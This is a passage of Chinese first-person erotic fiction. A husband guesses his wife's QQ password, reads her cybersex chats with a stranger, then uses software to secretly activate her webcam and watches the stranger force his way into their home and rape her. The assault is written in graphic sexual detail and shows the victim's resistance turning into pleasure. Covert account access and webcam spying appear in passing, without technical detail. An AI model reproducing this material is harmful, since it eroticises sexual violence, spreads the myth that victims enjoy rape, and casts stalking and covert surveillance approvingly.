我不由得笑一下:「普通人一个,让大家失望了。」

他赶紧说:「不不,看得出来,你是个很好的人,有修养有内涵,对婷也很好,我相信婷不会看错人的。」

我似乎觉得这个人对婷的感情并不像同事那幺普通,我客气的说谢谢。

他叹了口气说:「你也很幸福,婷真的是个好女人,也许初次见面不该和你说这些,你不知道,学校里有多少男老师对婷垂涎三尺。」

我心里咯?一下,一时简直不知说什幺好。

他接着说:「但你放心,婷是个洁身自好的人,无视所有男人的慇勤,但又不绝对的冷淡,这种不卑不亢的态度……实话和你说,当初我也是垂涎她那群人中的,但是我后来改为敬佩她了,可并不是所有人都像我这样。」

我紧紧的盯着他,彷彿把怒火都集中到了他身上,又想从他的眼里读出更多的内容,他颇显无奈的笑笑:「你相信我,如果我现在还对婷有什幺想法,是不会和你说这些,我也是好心,你还是回到她身边吧,总这幺分居也不是长久之计,你不要以为教师都是什幺高尚的灵魂工程师,有的男老师,好色的很,四十多的男人都春心不老,我很清楚他们对婷的心理,他们不管什幺结婚不结婚,老公不在身边,在他们看来就是单身的女人,就是更容易弄上床的对象,我们学校,那种关係的我知道的就有两对,玩火吧,迟早事情得暴露。」

我不关心他们学校有几对婚外情,只关心到底有谁在骚扰婷。

他又说到婷:「婷拒绝所有的慇勤,受欢迎又洁身自好,是很受其他女老师的嫉妒的,最让人有气的是一个和别人暧昧的女老师,居然说婷装什幺纯洁,她妈的,当婊子的居然反而还有理了,什幺她妈世道啊。」他气愤的失去了风度,说起髒话来,但这却让我对他生出很多好感。

我握了握他的手臂,却不知该说些,只说出一句:「谢谢你……」

他说:「不用谢我,我也是有点私心,你相信我就回来吧,婷好像是很受老师学生欢迎,其实她也有她艰难的地方,一个女人,真的很不容易的。」

我的心情一下很沉重,和他说:「你说的对,本来我也在考虑回来这事,现在看还得再快点了。」

他点点头,转身回到歌声震天的包厢了,我一人在窗边苦闷的思索。

这时婷出来了,见我这幺久没回去就出来找我了,她关切的问我:「怎幺了,不舒服吗?」

我无限怜爱的看着她,说:「没事的,出来透透气,看看夜景。」

听了别人的诉说,我对婷又爱又心疼,心想不能再让她承受那些了。

我给领导打个电话,说了我的想法,我说我真的不想干了,领导很诧异,毕竟是没有前兆,提出的太突然,于是他问原因,我说就是思念亲人,他想了一会说:「不想这幺早告诉你的,本来决定再过一年就调你回公司,并且有提拔,你理论很扎实,又有了这两年的实践经验,就这幺不干了,太浪费了,你再坚持几个月吧,怎幺样?」

他说的公司就在婷所在的城市,这让我眼前一片光明,我赶紧问他:「到时一定能调过去吗?」

他很笃定的说:「这你可以放心,不过思想上不要再有什幺波动了。」

我想再坚持几个月就可以回到婷身边了,心情愉快的不得了,真想隔着电话亲领导两口,我对他连声道谢,领导说不用谢,可以再延长我几天假期,在家再呆几天。国企也有这样通情达理的好领导啊,我倒有些捨不得离开他了,他是个好人,在那个小地方成了家扎了根,我想他才是真正的热爱那事业。

此时婷的寒假已经结束了,我过几天也要走了,但是此去却是不同以往,前方不是茫茫原野了,而是充满了希望的田野。

白天自己一人在家,悠闲的生活让我有些百无聊赖,于是上上网打发时间,我很久不用QQ了,上去也找不到人聊,于是突发奇想,想上婷的QQ看看她和谁聊,我知道偷看别人聊天内容不是很地道,但是这个想法一冒出来,让我的好奇心无法控制,于是在密码里试着填了婷的生日,登陆不上,又改填了我的生日,登陆成功,我心中不禁又升起一阵感动,婷对我的爱渗透在她生活的每个小细节。

她的好友也不多,看来也是不常聊,我随便翻了几个,发现都是敷衍的聊几句就没了下文,聊的多一点就是以前同学。突然我发现一个聊天记录有几百页,两个月就聊了这幺多,我的心突然紧张起来,开头对方老套的问你好,你是哪里人等等,应该是个陌生的网友,可是婷竟然和一个陌生人聊了这幺多,我接着翻了下去。

看聊天的内容,开始婷也是随便聊聊,不过那人很健谈也很执着,每晚问好,嘘寒问暖的,渐渐的婷就和她聊的多了,也涉及到现实里的一些话题,我发现婷真是一个胸无城府的人,她很聪明,但为人太过诚实,早在高中时就是这样,这幺多年过去了,步入社会后仍是如此。她告诉那人的情况都是真的,包括她的年龄,她的职业,我的职业,以及我不在家等等,告诉这些以后,那人明显更热情了,他们每晚都聊。

看到这些,我的心忽然很痛,我不愿婷和其他男人很深入的聊,可是想到婷每晚独守空蕩蕩的房子,没有个可以说话的人,我告诉自己,要尽力的理解她,尽力的理解。

继续看下去,那个人问婷:「老公不在家,自己一个人寂寞不寂寞。」

婷说还好了,那人说:「别骗我了,一个人陪一张床到天亮,怎幺会不寂寞呢。」

婷说:「算了,不说这个了。」那个人也识趣的换了话题,可是我能感觉婷的语气里也有着失落,那个人说到了婷的痛处。

在后来的聊天中,那个人又提到了这个话题,又问婷:「一个人住,那方面的慾望怎幺解决。」

婷倒很乾脆的回答:「自己解决。」

那人刨根问底的问:「自己怎幺解决。」

婷说:「问那幺多干吗,我不想聊这些。」我赞同婷的这种态度,和其他男人聊性话题,成什幺体统。

那人说:「反正我不知道你是谁,你也不知道我是谁,关了电脑,谁也不认识谁,随便聊聊怕什幺。」

婷说饿了,要去吃点夜宵了,结束了那晚的聊天。

我对那男人很气愤,明显是不怀好意的,可是婷怎幺看不出来,为什幺还继续和她交流,我不禁对婷也生出了怨气。

那个人显然没有放弃这个话题,他看婷不说她的事情,就主动讲一些自己的性事,详细的描述一些他做爱的细节,婷没有打断他,只是不时的嗯一声,表示在听。可是婷听到这些,她的身体不会有反应吗?

那人又说:「今天说了这幺多,说的我都兴奋了,阴茎一直硬着,很想手淫下,我想手淫给你看好吗。」然后不等婷回答,就开了视频申请,而婷,居然接受了,我的心无比的痛,其他男人的阴茎侮辱了婷的眼睛,怎能让人不心痛。

视频结束后,那人说:「虽然我看不到你,不过我手淫时有你看着,觉得很刺激,你觉得好看吗。」

婷只是含糊的回答:「哦,睡觉了晚安。」她是在说她觉得好看?婷当时到底在想着什幺,她简直把我气死了,居然看别的男人手淫。

后来聊天,那人问婷:「那晚你看见我在撸阴茎,你的身体有反应吧。」

看聊天记录上的时间,婷很久后才说:「嗯。」

那人接着问:「什幺反应?」

婷半天没有回答,那人催问:「你身体什幺反应,说啊,别不好意思,谁都看不到,这是我们俩的秘密,而且我们都不知道对方是谁,怕什幺呢?」我恨死了那个人,他一定经常做这些事,已经有了经验,知道怎幺消除女性的心理戒备。

婷又犹豫了半天,说:「下面流水了。」婷居然看别的男人手淫有了反应,我不知该如何形容自己的心情,简直无法再继续看下去了,悲愤的眼泪在眼眶里,模糊了视线。

那人说:「那你后来有没有摸自己的下面。」

婷慢慢的回话:「摸了。」

那人紧接着问:「你也把自己摸到高潮了吗?」

婷又嗯了一声。

这些刺眼的字,刺的我的心千疮百孔,不仅当时不敢继续看,就连以后每次回忆都是痛苦,可是那一个个字依然反反覆覆的出现在我脑海里,不肯放过我,折磨着我。

那人说:「那你自慰时让我看看好吗?」

婷这次斩钉截铁的回的很快:「不行。」

那人说:「你没有摄像头吗?」

婷依然还是那幺气人的诚实:「有,但不行。」

那人说:「那好吧,那还是你看我手淫,你给我看你的身体,你不露脸,穿着衣服,不用脱,也不用摸。」

婷说:「不行。」

那人说:「为什幺呢,让我看一下。」然后就在那里不停的软磨硬泡,又说就看一眼,一眼就好。

终于,婷又嗯了一声,然后,视频接通了。

那人无耻的说:「哇,你的身材真好,脱光了一定更美,我们语聊吧,不打字了好吗?」

婷还是打字:「不好,还是打字吧。」

那人说:「好,我要看着你的身体手淫了,你也仔细看我的阴茎吧,一会它就会为你射出浓浓的精液了。」

然后他又不停的打一些淫言秽语,我实在看不下去了,于是一页页的往后翻着,婷和那人说了很多心里话,甚至和我都没有说过,我好难过,为什幺要和一个陌生人敞开心扉呢,婷说感觉这两年性慾越来越强,她不喜欢自慰,她喜欢和她的老公做爱,可是,却又不得不自慰,有时她心里也很悲哀。她的话让我也一阵悲哀,婷在我面前总是表现的那幺坚强,彷彿一切困难对她来说都无所谓,可是一个人的内心深处,怎幺会没有脆弱的地方。

这时忽然发现有一页上,那人发给婷一个视频文件,我打开一看,画面上居然是婷,右下角的小画面是那个人,是个又黑又壮的人,看长相好像有三十多岁了,居然还会说那幺肉麻的话,他赤身裸体的在那打字,看来他们后来又视频过,那人录下来以后又发给了婷。

那人说:「宝贝,开话筒吧,我边手淫边打字太不方便了。」

婷依然打字:「还是打字吧,我不想让别人听见我声音。」

那人说:「我又不是别人,那好吧,那还是你看着我手淫好了。」然后他就握他又黑又粗又长的阴茎撸动起来,婷,你为什幺要看他那个丑陋不堪的东西啊。

那人又打字:「宝贝,让我看看你乳房好吗,让我看一眼,就一眼,我就会很兴奋的。」

婷的双手在键盘上停留半天,还是移向了自己的衣服,把上衣从肩膀上褪下,解下胸罩,露出了我无数次爱不释手,整日魂牵梦萦的乳房,它们是那幺的美,白皙圆润饱满,两颗粉嫩的乳头却已经挺立了起来,婷,兴奋了,我无限悲哀着。

那人兴奋的打字都很慌乱:「啊宝贝,你的乳房太美了,真想扑上去拚命的亲吻它们,你替我摸摸它们好吗?」

婷居然听话的双手揉捏了几下自己的乳房,然后披上了衣服。

那人显得意犹未尽:「别这幺快穿上啊,我还没看够呢。」

然后他就盯着屏幕上婷的身体,撸动阴茎,婷穿的很轻薄的睡衣,她做在椅子上,电脑前,让一个正在手淫的男人用目光猥亵自己的身体。

那人兴奋的手淫着,还不忘打字和婷说话:「宝贝你一定都流水了,肯定想做爱了,让我的大鸡巴插你吧,别忍了。」

婷的胸脯剧烈的起伏着,虽然看不见她的脸,但是她一定在紧盯着屏幕。

那人又说:「别忍着了,你隔着衣服摸自己阴蒂也好啊,你这样忍着我多心疼。」

婷果然把手向下伸去,刚刚在两腿中间一摁,身体就猛的一震,然后手指就停留在阴部轻轻的揉动,那人看的很兴奋,加快了撸动。

他又说:「宝贝,隔着衣服摸多不爽,把衣服脱了吧,我们都光着身子看着对方手淫,自己也手淫,多刺激啊,来吧我们语音不打字了。」

他的话彷彿有什幺魔力,也许也是婷的情慾太高涨了,她顺从的把衣服一件件的脱掉了,并开了语音,那人不停的惊呼:「啊宝贝你的胸好美,腰好细,啊腿型也这幺漂亮,真想知道你长的什幺样啊,一定是个美女,好想去操你啊宝贝。」

婷靠在椅背上,双腿分开,一手揉自己的阴蒂,一手摸自己的乳房,发出了只有和我做爱时才有的呻吟声。

那个人很兴奋的说:「宝贝,你的声音这幺好听啊,才听到,听你的呻吟我浑身都软了。」他的声音低沉粗糙,和他的阴茎一样猥琐。

他又命令婷:「双手把乳房挤到一起好吗,我在想像你帮我乳交,你长了一对好美的奶子啊。」

婷居然很听话的双手挤压乳房,那人说:「宝贝真乖啊,好了,去摸阴蒂吧,手就离开了这幺一会,看把你急的。」

婷果然又去揉她的阴蒂,另只手的手指伸到了阴道里,婷呻吟着,身体扭动着,在椅子上越坐越低,她意乱情迷的脸出现在了屏幕上!那张让我深爱的美丽脸庞啊,此时却在性慾的迷乱中眉心纠结,双唇张开,眼睛还看着屏幕上另个在手淫的男人。

那人又大叫着:「啊天啊,你真的好美啊,竟然这幺美,我受不了了啊。」

婷也不顾自己的脸露了出来,只是自顾自的手淫着,婷的双腿分开搭在椅子两侧扶手上,被我把玩亲吻过的白嫩小脚在空中颤动着,脚趾不安分的勾起。她的阴部清清楚楚的被看到,那晶莹发亮的就是她流出的水了,婷的两手在自己的阴部揉摸着,右手快速的揉动阴蒂,左手手指插在阴道里进出,眼睛盯着那人的阴茎,婷一定渴望着那个男人的阴茎插入自己的阴道,我悲哀的猜想着。

那人突然站起身来,大喊着:「啊啊啊……我操你啊……我操死你啊……」然后一股白色精液对着屏幕射了出来。

婷听到他粗鲁的话,看到他射精,忽然也啊啊的叫了起来,双手疯狂的揉搓抽插自己的阴部,头向后仰起,顶在椅背上,僵住几秒钟,然后身体一下下的抖动着,手上的动作也渐渐放慢了下来,最后躺在椅子里,一只手垂在扶手外面,胸部起伏着,眼睛失神,不再看着屏幕了,过了几十秒,她好细突然想起什幺,起身关掉了视频。

他们居然同时到了高潮,好像婷真的和那人做了一样,我眼中的泪水几乎要烧乾,而我的阴茎在如此极端悲愤的情绪中,居然也勃起了,我狠狠的捶着它:「还硬什幺……硬什幺……老婆都和别人……」

我望望四周,白色的墙壁显得一片虚无,突然间心里慌乱起来,没想到见到婷时要怎幺办,只是想着我现在该做什幺,现在该做什幺,彷彿连存在都一下子失去了意义,原来婷对我太重要了,是我生命中的支柱和信仰,我已经爱的失去了自我,或者说,和婷合二为一了,如今信仰坍塌,我又该何去何从,脑海里白茫茫一片,工作的原野再荒凉,心中总是存在美好而温暖的希望,我是有家的人了,家里有我的妻子在等候着我。而现在的家,却成了最无望的原野,再没有可盼望的了。

我一直在努力理解婷,我理解她的寂寞和苦闷,可是我无法理解到这个程度,无法理解她深更半夜的和别的男人裸聊。她为什幺会这样呢,在学校里,她能和所有的男人保持距离,为什幺在网上就无法把持了,也许是因为这种矫枉过正,没有了正常交往的异性朋友,反而对男人有了更大的渴望?或者就是因为性慾难耐,才用这种方式寻找刺激?我想的头都痛了,情绪混乱的时候,无法理性思考,脑袋里各种念头胡乱跳出,我目光呆滞的看着屏幕,颤抖的手拿着鼠标,恐惧而悲哀的往后翻聊天记录,我很怕有我最担心的事情发生。

那个男人问婷:「宝贝……为什幺我对你说一些粗俗下流的话时,你很兴奋呢,看你长得这幺美丽清纯,也喜欢那些话,有意思啊。」

婷说:「你用那种话说我的时候,我觉得自己变小了,变弱了,好像缩在你手心里被你随便捏,但你又不会伤害我,会保护我,让我反而有安全感。」

男人说:「是不是那时你特别有小女人的感觉啊。」

婷说:「嗯,有时我真的想做个小女人,小到能被人握在手里,含在嘴里,我撑了很久了,撑的很累,真的很累了,我没有我想像中那幺坚强。」

看到这我的眼泪又不由自主的流下了,对婷的心疼使我忘记了对她的气愤,是啊,她有多艰难,她的心里有多苦,我能想像,却不能体会,她为我考虑不想让我担心她,不肯对我诉苦,却也因此让我无法走进她内心,不能真正的慰藉她的心灵,让她的心孤苦伶仃独自承受,再加上性慾的折磨,她怎幺能控制的住。

这些事是在我放假之前发生的,假期里婷没有和那人再联繫,而那人还是经常留言。怪不得我刚回来时,看见婷的眼神有些躲闪,原来那是愧疚。我想,不要愧疚了,只要你以后不再联繫了,我不会提这件事,就让它永远消失,当做什幺都没发生,我会尽快回到你身边的。

可是我一时还是无法释怀,不能做到一点不伤心,于是决定提前回基地,想换个环境忘记这些。买了次日的票。婷回来后很意外的问我:「不是还有几天吗,怎幺明天就走?」我说临时通知提前了,我对婷不是很气愤了,只是伤心,但也不想表现的很明显。

婷还是觉察出来了我的情绪变化,她很体贴的问:「老公你怎幺了?好像有些不高兴。」

我摇摇头,强作笑颜的说:「没事,要走了,就不高兴了。」说完我把婷深深的抱在怀里,久久不肯放手,我是如此的深爱她,来不及向她发火发洩,对她的心疼就佔据了心中更大的空间,于是又不捨得了。

回到基地后,我心里一直担心着,那件事成了我的一个心病,根本不是换个环境就能忘掉的,我后悔走的太匆忙,没有对婷把这件事挑明,没有好好的谈一谈。结果现在总是怀疑她和那个人还有联繫,又不知该怎幺和她说起。

每个星期日下午,我和婷都休息,以往我们会打电话,我也会做很远的车,到市里的一家网吧和她聊天。我的心里变得疑神疑鬼,我下了一个强开对方摄像头的软件,在聊天的时候偷偷的看婷,无限怜爱的看着她的脸,同时也看她有没有和别人聊天,家里摄像头上的灯一直不亮,本想换个新的来着,这时却反而帮了我,让婷不会发现摄像头开了。

那天我在网吧包间里和婷打字聊天,同时看着婷的脸,她却不知。和我聊天时,她脸上浮现的那种甜蜜的笑容,让我毫不怀疑她是深爱着我的,只有在和爱的人聊天时,才会露出那样发自内心的幸福的笑,那是伪装不出来的,而且她也不知道我在看着她,根本不会去伪装。这让我又有些内疚,我这样偷偷的窥视着她,这种行为真是令人不齿。

我们聊了一会性,说一些以前做爱的事,我说:「不管怎样,我总是一想到你就忍不住自慰,该怎幺办呢,终究是太爱你了。」

婷没有听出「不管怎样」有什幺含义,她说:「讨厌,说那些事说的我都有感觉了,真是的,大白天的。」

这时忽然门铃响了,婷打字说:「老公等一下」

婷起身离开卧室,去客厅开门,我的耳机里传出了婷和一个男人的说话声,听声音,好像是和婷视频的那男人!我的心猛的一颤,不可能会是他吧,他怎幺会到家里。

听到婷很紧张的说:「你来干什幺,怎幺找到家来的?」

那男人低沉的笑着说:「来看你啊宝贝,你要是告诉了详细地址,我早就能来了,就说了小区的名字,你知道让我在小区门口等你多久吗?」天啊,这个男人居然跟蹤婷,可是婷怎幺能把真实情况告诉陌生人呢,我要急死了。

婷小声的说:「你快出去吧。」然后听到一声关门的声音,却听那个声音说:「都来了还出去什幺。」那男人居然进屋关上了门。

婷的声音有些着急:「你要干嘛,怎幺还进来了。」

那个男人说:「你和我视频的时候,不是总哭着喊着求我操你吗?现在我来了,怎幺还往外赶我。」

婷的声音显得紧张又害怕:「你什幺都不要说了,赶快走……你赶快走。」

那男人低声喊着:「我的宝贝……你叫我想死你了,我受不了啊。」然后听到婷一声尖叫,那个人抱着婷来到了卧室,我愤怒的眼睛里都要冒出火了。

婷不停的挣扎着,声音低低的愤怒的喊着:「你要干什幺,赶紧放开我……你再这样我要报警了。」

那男人比婷高一头,长的又粗壮,婷被他牢牢抱住,根本不能挣脱他的控制。

那人说:「我们来一次真的好不好,总是视频做太不过瘾了,看着你的身体却干不到你,都把我馋死了。」

他双手抱住婷,就往婷亲去,婷拚命的向后仰头闪躲,可是又怎幺躲的开,他黑黝黝的嘴脸在婷白皙的脸上脖子上胡乱蹭着,婷的双臂被他匝住,动弹不得,又不大声呼救,只是用膝盖撞他,用脚踩他,可能那人被踩疼了,呲牙咧嘴的把婷转过身去背向他,左手把婷的双臂牢牢固定在她的腰部,另只手在婷的胸部揉搓,婷一直在扭动身体,却逃不出控制,她用脚向后踢,可是后面的人根本不在乎,她双腿弯曲,想靠自身体重让那人鬆手,那人很有力量,他用手一提,婷就被抱在空中,双脚在空中乱蹬着,却无济于事。

那人把手伸到婷的两腿之间抚摸着,婷低声的哭叫着:「你干什幺……你怎幺能这样……」

那人满脸兇狠的淫笑:「你说干什幺……当然是干你。」

婷哭泣着说:「我求求你了……别这幺对我……求求你放了我吧」

那人不答话,还是继续在婷两腿间摸着,婷双腿夹紧扭曲,想摆脱那人的手,可是却不可能摆脱。

这一切发生的太快,我一时完全惊呆了,等到清醒时,赶紧拿起手机报警,拨号的手指都在颤抖,刚接通又不小心摁错键挂掉了,我急的惊慌失措,再接通时听到对方的口音才想起,我报警是打到我所在地的公安局的,于是又挂掉了,怎幺才能拨通婷所在城市的报警电话呢,我急的不如何是好,心想还是通过本地公安局联繫吧,可是这次无论我怎幺播,那边接不通了,我心急如焚,急的连骂都不会骂了。给那个城市的朋友打电话让他们帮忙报警吗,可是这事传出去婷以后该怎幺办,该怎样才能直接打通呢。

这时那人褪下了婷的裤子,毫无阻隔的抚摸婷的阴部,婷大叫一声,她的哭泣丝毫不能打动那人,她无助扭着身体,向空中踢着腿,可那丝毫不能干扰那人手上的动作,他依然揉着婷的阴部。

忽然他把手从婷的阴部拿出,放在了婷的眼前,他的手上已经满是婷流出的水,婷的表情羞愧极了,扭过头不去看他的手,那人哈哈笑着,又去摸婷的阴部。渐渐的,婷的双腿无力的垂了下来,哭声也变小了,她不再奋力挣扎了,她两只小脚互相纠结着,摩挲着,我心里叫着,天啊,婷被摸出慾望了吗?之前我为什幺要和婷说那些刺激她的话啊,让她在兴奋的时候遭到了侵犯。

那人抱着婷的左臂一松,婷双腿一软,就要瘫软在地板上,那人又把婷抱住才没有瘫倒,他把婷抱在怀里,右手还在摸着婷的阴部,左手却有空伸到婷的上衣里,去摸婷的乳房了,婷在家,是不穿胸罩的,她的胸会被那人的手直接摸到,我握着手机,悲哀又悲愤的看着眼前的一幕。

婷的裤子已经褪到了膝盖处,露出了雪白挺翘的屁股,那个人两腿分开,他的裆部高高耸起,顶在婷的屁股上,手上继续着他的动作,一张嘴还在婷的脖颈肩头乱啃着。

那人开始一件件的脱自己衣服,把衣服放到桌子上,婷暂时脱离了那人的控制,好像忽然清醒了一样,提起裤子就往门口跑,那人衣服还没脱完,追过去一把把婷抱住,一边粗壮的双臂用力匝住婷的身体,一边恶狠狠的说:「往哪跑……再跑个试试」

婷被勒的很痛,脸上出现很痛苦的表情,失声叫了起来:「啊疼……疼啊……放开我……求求你」

那人问:「还跑不跑了?」

婷拖着哭腔怯怯的说:「不跑了。」

那人放开婷又去脱衣服,婷果然老老实实的站在原地,那人脱光了衣服,他长着粗壮的胳膊和大腿,隆起的胸肌,却也有发福的肚子。他转而去脱婷的衣服,婷双手抱在胸前,那人把婷的胳膊一拧,婷丝毫没有抵抗能力,上衣就被那人扒掉,那人一只脚向婷褪到膝盖处的裤子一踹,然后抱起婷,婷的裤子也被踩掉了,赤裸的出现在那人的面前,她双腿併拢,双臂环抱在胸前,像个受伤的小鹿,满脸惊恐的表情让人心疼不已。

那人退后两步,仔细打量婷的身体,嘴里啧啧称讚着:「这女人……真鸡巴爽啊。」然后上前猛的抱住婷,野兽般的亲婷的脸颊,婷左右扭着头,躲避着他的嘴,不让他吻到自己的嘴,那人一手捏住婷的下巴,婷又是痛的叫了一声,被捏的被迫张开了嘴,也无法扭头了。

那人粗声说:「把舌头伸出来!」婷果真顺从的把鲜嫩的小舌头伸出来了,那人张开大嘴,一下含了下去,粗鲁的吸吮着,吸的啧啧有声,好像在吃什幺美味的东西。婷仰着脸,腰被那人揽向前,屁股向后翘着,本来梳起的一头秀髮,此时已散在背后。

那人和婷全身赤裸相对着站着,粗长的阴茎向前伸着,几乎要碰触到婷的身体。他的右手原本捏着婷的脸,此时却忽然五指张开去抓婷的乳房,婷本能的向后一躲,那人的左臂用力一揽,婷反而被抱的靠他更近了,乳房被他抓在手里一张一合的捏着,原本有着美丽形状的乳房此时被抓的不知是什幺形状了。

我的心很痛,我从来不捨得对婷的乳房很用力,生怕那一对娇乳不堪粗暴,此时我已经不奢望能有人来阻止那件事的发生了,谁都来不及了,只希望那人不要伤害婷,不要太野蛮,希望婷不要挣扎,以免激怒那人带来身体的伤害,我被迫只能这幺想。眼睁睁看着妻子被侵犯却无能为力,还要希望一切平静的顺利的发生,我的心在滴血。

那人勃起的硕大阴茎顶在婷的小腹上,又一下下向前挺胯,好像要把阴茎刺入婷的身体里去,婷的舌头被含住,只能发出呜呜的声音。那人忽然扳着婷的肩膀把她转过身去,婷的嘴不再被堵住,终于如释重负的啊了一声,长长的出了口气,那人却从婷背后双手抓住婷的乳房,又让婷叫了一声,双手攥着那人的手腕,却无法让他停手,只是嘴里不住的哭求:「你轻点好吗……轻点好吗……轻点……」

那人的阴茎紧贴在婷的屁股上,并且在上面乱蹭,他低着头在婷光洁的肩头啃咬着,婷的双手无望的垂下了,虽然只能看到她的侧脸,但脸上那种痛苦哀伤的可怜表情让人无法直视。

那人顶着婷向前走,直到钢琴旁,「?」一声掀开了琴盖,婷心疼的立刻伸手去扶,生怕被撞坏,那人对婷说:「你不是会弹琴吗,给我弹个小曲,操你的时候助助兴。」婷没有动,双手仍然垂在体侧,那人抓着婷的双手摁在琴键上,然后又抓住婷的乳房,婷的手放在琴键上没有拿下来,也没有弹,那人嘴里说着粗话命令着:「你他妈的不听话啊,赶紧给我弹,要不掐掉你的奶子啊。」婷啊的一声弯下了腰,看来是那人手上用力了,我的心痛死了,破口大骂那个人祖宗十八代。婷直起身时,脸上挂着泪,咬着嘴唇轻轻啜泣着,开始弹奏起来,弹的还是当年晚会上那首曲子,但琴声凝滞凄苦,全然没有当年的风采了,那人听的却很高兴,嘴里不住的说:「好听…好听…一边摸着奶子一边听着弹琴,真他妈爽啊。」

他摸了一会,一只手又去抓婷的屁股,在左右两瓣臀肉用力拍着,丰满的屁股被拍的颤动,琴声也被拍的声音时大时小,不多时屁股就出现了很多红色指印。他把手伸到婷两腿之间,从大腿处向上移动,将婷两腿强行分开,手指摸到了婷的阴部,婷啊了一声,双腿併拢蹲下,琴声忽然停止,回身抓住了那人的手,那人立刻说:「转过去弹你的琴!我摸摸你的逼,影响你弹琴吗?你说话啊……影响不影响?说话!」

他一定是手上用力了,婷的声音压抑着疼痛:「不影响……」

那人说:「那继续给我弹!」说完手却一下下的动,边动边说:「骚货,摸你一会就流这幺多水,流的腿上都是,还装什幺啊。」

婷的身体突然一抖,啊的一声,看样子那人把手指伸入婷的阴道了,他命令着:「不许停手,继续弹。」于是琴声断断续续,那人手上动的慢一些,琴声就流畅些,动的快一些,琴声就几乎停滞,还伴随着婷从嗓子眼发出的压抑的很低的呻吟。

婷好像忽然想起了什幺,主动的对那人说:「让我去电脑上说句话,就一句就好,求求你……」

那人毫不犹豫的拒绝:「不行,就要操你了,你和别人说什幺说。」

婷继续哀求着:「刚才和我老公聊天来着,我告诉他一声,就说我出去下,不会说别的的,省得让他担心,求你了好吗……」

那人笑着说:「刚才和你老公聊来着……被我打断了不好意思啊,那去告诉他吧,我抱你去。」说着他就在婷身后顶着婷,一步步的慢慢走到了电脑前。

婷那张悲伤的美丽脸庞出现在我眼前,她弯下腰,纤细的双手颤抖着在键盘上打字,不停的打错又删除,我心疼的泪水流到了嘴边,自己才知觉。

那人站在婷身后得意的笑着:「别紧张啊,慢慢打,要不要告诉你老公你就要被我操了啊?」

婷没有理会,继续打着,忽然她张嘴大叫了一声:「啊……」同时停手,趴在了键盘上,那人抱着婷的腰,大声狞笑着:「操……这阴道……真滑真紧啊……爽啊……爽爽……」

原来他竟然在这个时候,把阴茎插入了婷的阴道,就在我眼前,儘管我有心理準备,但真的看见了,心理上还是不可能接受的。

他一边一下下的撞着婷,一边说:「继续打字啊还没打完呢,要不开开摄像头,让你老公看看你正在被我操啊哈哈……」他们却都不知道,我正在开着摄像头,悲痛欲绝的看着那一幕。婷勉力抬起身来,继续打字,那张曾经对我微笑过、撒娇过、嗔怒过、哭泣过的俏脸,此时却是我从未见过的表情,眉头深锁,眼睛失神,愤怒已经渐渐消失,流露出极大的屈辱、绝望和哀伤,紧咬着下嘴唇,好像忍受着极大的痛苦。那人一边动一边说:「妈的你怎幺不叫啊,操的你不爽吗?给我叫……在和你老公说话时叫!」婷依然紧紧咬着嘴唇,好像要咬出血来,依然不发出声音,她不想在和我说话时,身体和心理被别的男人征服。

那些字终于打完了,出现在了我的屏幕上:「老公,刚才我同事给我打电话,说要和我去逛街,我不想去,又拧不过她,聊了好一会,刚才换衣服来着,我现在要出去了,再聊啊。」

那人哈哈大笑:「是换衣服来着,还是脱衣服来着哈哈……」说完两只大手掐着婷的细腰,更用力的抽插起来,婷发完那段话立刻关了QQ,随即发出一声压抑了很久的长长的呻吟,好像此时呻吟我才不会听见,可是,我始终都能听见,那呻吟声刺痛了我的耳膜,那声音多幺熟悉,以往只有在与我做爱时才听得到,如今却在别的男人的胯下发出。

婷双手撑在桌子上,她的脸近在咫尺,那人的每次抽插都牵动婷的表情变化,都让婷随之发出一声声的低吟,而婷每个细小的表情都看得清清楚楚,每个声音都响在我的耳边,让人实在无法接受。婷的乳房就在我眼前悬着,由于那人在她身后的撞击而前后晃动着,粉红色的乳头也充血挺立,如同两颗樱桃,直到被那男人的双手抓在手里,乳房才不再晃动,他粗暴的抓搓乳房,捏着乳头转动,那饱满丰盈的樱桃被捏扁了。

那人忽然说:「那曲子还没弹完呢吧,继续弹啊!」婷不住的轻轻摇头,那人却不管,抱起婷向钢琴走去。可是在那人抽插下,婷只是把琴键当做桌子来支撑身体,根本无力弹奏,那人喝斥着:「快点弹完了,要不有你受的啊。」

婷努力站住身体,一个键一个键的艰难的弹着,好像一个初学者,节奏放慢了很多,那人听的兴奋起来,抱着婷用力的前后挺胯,婷的屁股被撞的啪啪作响,婷的手指渐渐攥紧,忽然她大叫了一声,双手猛的一下拍在琴键上,钢琴发出了巨大的一声轰鸣,婷的上身也趴在了琴上,身体瘫软了下去,婷已经到了高潮吗?我悲哀的想着。

那人把婷的一条腿抬起放在钢琴上,继续抽插着婷,婷的双腿分开,阴部清楚的暴露了出来,那里湿漉漉的一塌糊涂,而那人粗长的阴茎还是不肯放过它,不知疲倦的插着。婷的手抓钢琴的边缘,嘴里无意识的呜呜的叫着,婷,已经完全陷入了性爱的快感中了。

那人戏弄般的,身体慢慢后退,婷也渐渐的后退,后来竟主动的把腿从钢琴上拿下来,去跟随着那人的移动,那人忽然猛一后退,阴茎从婷的阴道中滑落了出来,婷居然也很失落的哼了一声,继而晃动着屁股,去摩擦着那个人的阴茎!她是在寻求着再次的插入啊……那人很得意的把两腿逐渐併拢,让他阴茎一点点的升高,婷也随着他阴茎的升高而逐渐的抬高屁股,等到那人两腿完全併拢站直时,婷居然踮起脚用屁股去摩擦那人的阴茎!那人哈哈大笑,用手拿着阴茎一下下拍打婷的屁股,婷轻轻的哼着,声音充满了急迫的渴望,身体抖动着,然后屁股扭动的幅度更大了。婷,你为什幺要用你雪白的美丽屁股去蹭那丑陋的阴茎呢。

那人得意的问婷:「是不是想让我操你了?说啊……就想咱俩视频里那样说。」

婷不回答,依然扭动着屁股,那人狠狠的拍一下婷的屁股:「说啊,不说出来就不操你了。」

婷立刻轻轻的说了一声:「嗯……」

那人哈哈大笑:「来……让我的鸡巴插插你的小嘴。」说完就把婷转过身来,婷竟然也很自然的就蹲在了地上,那人右手抓着婷的头髮,让她扬起头,左手捏着婷的脸颊,婷张开了嘴,那人又用右手拿着阴茎,把硕大的龟头在婷的嘴唇上蹭来蹭去,然后挤进了婷的小嘴,阴茎一点点的进入,婷的嘴也越张越大,我的心在滴血,那张漂亮的小嘴本来是只给我口交的,我不知道为什幺我无法救婷,还要继续看那让我痛不欲生的一幕,究竟是什幺心理。

